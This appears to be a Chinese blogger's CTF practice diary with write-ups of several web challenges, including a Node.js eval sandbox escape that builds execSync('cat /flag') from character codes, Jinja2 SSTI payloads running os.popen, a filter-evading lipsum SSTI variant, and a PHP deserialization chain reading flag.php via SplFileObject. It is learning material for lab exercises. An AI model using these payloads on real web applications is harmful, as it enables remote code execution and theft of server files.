刷题日记 date 6.8

BUUCTF

[NPUCTF2020]验证🐎

1.进去source查看源码,首先就是/路由的post请求,在这里我们需要绕过第一个if。ctfshow有道类似的题绕过是用数组来绕过的:?a[x]=1&b[x]=2,我这里试了以后不行。后来才知道也可以用字符串和数组进行绕过。

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

2.node.js中'1'+'1' = '11' [1]+'1' = '11',利用这一特性就能绕过第一个if,采用json格式传递,{“e”:“1+41”,“first”:“1”,“second”:[1]};接下来就是正则表达式匹配问题了,如何通过构造payload来rce:

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}

3.一共有四部分,输入的第一部分匹配可能存在的Math Math.属性,第二部分匹配一些符号包括()+\-*/&|^%<>=,?:,第三部分匹配整数、浮点数和指数,第四部分匹配空格。也就是说这个正则的意思是:输入的字符串中只能匹配包含数字、规定的符号和空格,或者是以Math.开头的字符串,但是由于不匹配引号,也就是说只能用数学函数的数学运算,比如Math.random(1)返回一个1范围内随机的浮点数。

4.一开始的想法是用jsfuck编码来绕过的,可是符号中没有!,只能令寻它法。github上查询一下Math库中有哪些可以ascii转字符和拼接的方法,并没有发现有什么可以利用的。问了chat,它给出了一个字符串类型的方法,可是字符串String也没有办法拼接。

如果需要将 ASCII 码转换回字符,可以使用String.fromCharCode()函数。

const ascii = 65;
const char = String.fromCharCode(ascii);
console.log(char);  // 输出: A

5.看了wp学了新姿势,Node.js是无类的,所有函数的原型都是继承object的,String它也是个函数。其中也包括了一些String操作的方法,就比如刚刚的formCharCode(),它的构造函数是String()。

String.fromCharCode().constructor //String()
Math.constructor.constructor //Function()
String.constructor //Function()

6.我们要执行命令,那就需要Function(){return "global.process.mainModule.require('child_process').execSync('calc')"} 。可以这样构造Math.construtor.construtor(return String.fromCharCode(65,66,...))

7.然后就要解决String和return的问题,wp给出的解决方案是箭头函数+回调的形式来解决的,wp的payload:

(Math=>
    (
        Math=Math.constructor,
            Math.constructor(
                Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
                    )()
    )
)(Math+1)

8.了解了回调函数和箭头函数就能分析明白了:首先从外往内看,第一层回调了参数为Math+1的匿名函数,其中参数Math+1实际上就是字符串"[object Math]1" ,又因为匿名函数函数体要用{}这里没有,所以得用()代替。到了第二层就是箭头函数体的内容,首先函数体用逗号分隔开代表的两个语句。

9.先看第一条语句Math = Math.constructor。因为Math传入的是"[object Math]1",所以这里指的是Stringconstructor,狭义上也就是Math = function Function()。再看第二条语句,又是一个回调Math.constructor()()函数也就是Function()()函数,该函数可以直接返回我们构造的"[object Math]1".formCharCode(...)执行的值得到flag。

总结

1.总体来看这题还是不简单的,最难的部分是如何构造函数并返回命令执行的结果。这题用了回调+箭头函数的形式来构造payload,理解起来还是很难的。

2.光这道题就花了很久的时间,剩下的就没怎么看了

NSSCTF

[HNCTF 2022 WEEK2]ez_SSTI

1.看标题就是ssti,没有提示参数,一般都是默认为name

2.试了一下就是name,接下来就是简单的ssti注入了:?name={{config.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

[GDOUCTF 2023]反方向的钟

1.简单的pop链:

<?php
class teacher{
    public $name;
    public $rank;
    private $salary;
    function __construct(){
        $this->name='ing';
        $this->rank='department';
    }
}
class classroom{
    public $name;
    public $leader;
    public function __construct(){
        $this->name='one class';
        $this->leader=new teacher;
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct(){
        $this->headmaster="ong";
        $this->department=new classroom;
    }
}
echo base64_encode(serialize(new school));

2.原生类利用,用SplFileObject文件读取类,echo刚好能触发它的__tostring方法,配合PHP协议将flag.php读取出来。

get:?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
post:a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

[极客大挑战 2020]welcome

1.打开啥都没有,看描述得知要改请求方式,用post请求发现源代码,需要用sha比较绕过

roam1[]=1&roam2[]=2

2.在phpinfo中找到f1444aagggg.php,访问是404,不用想,flag肯定在响应包中。

[NCTF 2018]Flask PLUS

1.打开发现404页面有东西,它会把不存在的文件名输出,在这里拼接路径ssti注入。

2.直接用lipsum模块,它是一个function不是class,所以引入全局变量不需要再__init__初始化了,它的全局变量已经导入了os,剩下一些过滤用拼接绕过。

3.注意的是,popen被过滤了,那么用拼接直接用中括号代表键值就不需要再用小数点了,{{lipsum.__globals__['o''s']['po''pen']('cat /T*').read()}}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值